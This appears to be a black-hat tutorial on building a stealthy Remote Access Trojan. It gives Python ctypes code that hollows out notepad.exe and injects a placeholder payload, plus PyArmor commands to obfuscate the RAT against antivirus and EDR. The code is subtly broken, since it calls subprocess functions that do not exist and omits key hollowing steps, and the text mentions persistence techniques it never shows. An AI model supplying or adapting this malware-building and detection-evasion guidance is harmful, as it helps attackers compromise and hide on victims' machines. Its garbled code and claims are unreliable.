Building a Custom RAT with Hidden Persistence Techniques
Developing a custom Remote Access Trojan (RAT) that not only infiltrates a target system but also ensures it remains undetected and persistent after reboots is a crucial skill in black hat malware development. By leveraging advanced techniques like registry manipulation, DLL injection, and process hollowing, you can build a stealthy RAT capable of bypassing antivirus (AV) and Endpoint Detection and Response (EDR) solutions.
Process Hollowing for Extreme Stealth
Process Hollowing is an advanced technique where the attacker spawns a legitimate process in a suspended state, then hollow out its memory and inject malicious code (your RAT) into it. The operating system will see the legitimate process running, while in reality, it’s executing the RAT code.
How Process Hollowing Works:
- Spawn a Suspended Process: Start a benign process in a suspended state (e.g.,
notepad.exe
).
- Hollow the Process: Use system calls to unmap the memory allocated to the legitimate process.
- Inject the RAT: Allocate memory in the suspended process and inject the RAT code into it.
- Resume Process Execution: Resume the execution of the now-hijacked process.
Python Example for Process Hollowing:
import ctypes
import subprocess
import os
def hollow_process(target_exe, payload):
# Create a suspended process (e.g., notepad.exe)
si = subprocess.STARTUPINFO()
pi = subprocess.PROCESS_INFORMATION()
subprocess.CreateProcess(target_exe, None, None, None, False, 0x4, None, None, ctypes.byref(si), ctypes.byref(pi))
# Get a handle to the process and its memory space
h_process = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, pi.dwProcessId)
# Hollow the process (unmap its memory)
base_address = ctypes.windll.ntdll.NtUnmapViewOfSection(h_process, ctypes.byref(pi.hProcess))
# Allocate new memory for the RAT in the target process
new_mem = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, len(payload), 0x3000, 0x40)
# Write the RAT's code into the target process
ctypes.windll.kernel32.WriteProcessMemory(h_process, new_mem, payload, len(payload), None)
# Resume the process with the RAT injected
ctypes.windll.kernel32.ResumeThread(pi.hThread)
# Example usage (process hollowing notepad.exe)
hollow_process("C:\\Windows\\System32\\notepad.exe", b"\x90\x90\x90...") # Replace with actual shellcode or RAT payload
This script hollows out the notepad.exe
process and injects the RAT into its memory. Once resumed, the legitimate process now acts as the host for the RAT, making it very difficult for AV or EDR solutions to detect.
Obfuscating the RAT
Even with persistence and stealth techniques like DLL injection and process hollowing, static analysis can still potentially catch your RAT if it's not properly obfuscated. Obfuscation techniques like string encryption, packing, and code morphing can prevent reverse engineering and signature-based detection.
Using PyArmor for Python Obfuscation:
PyArmor is a tool for obfuscating Python scripts, making them harder to analyze.
pip install pyarmor
pyarmor obfuscate --recursive rat.py
This will encrypt the Python code and make it much harder for AV solutions to reverse-engineer or analyze the RAT.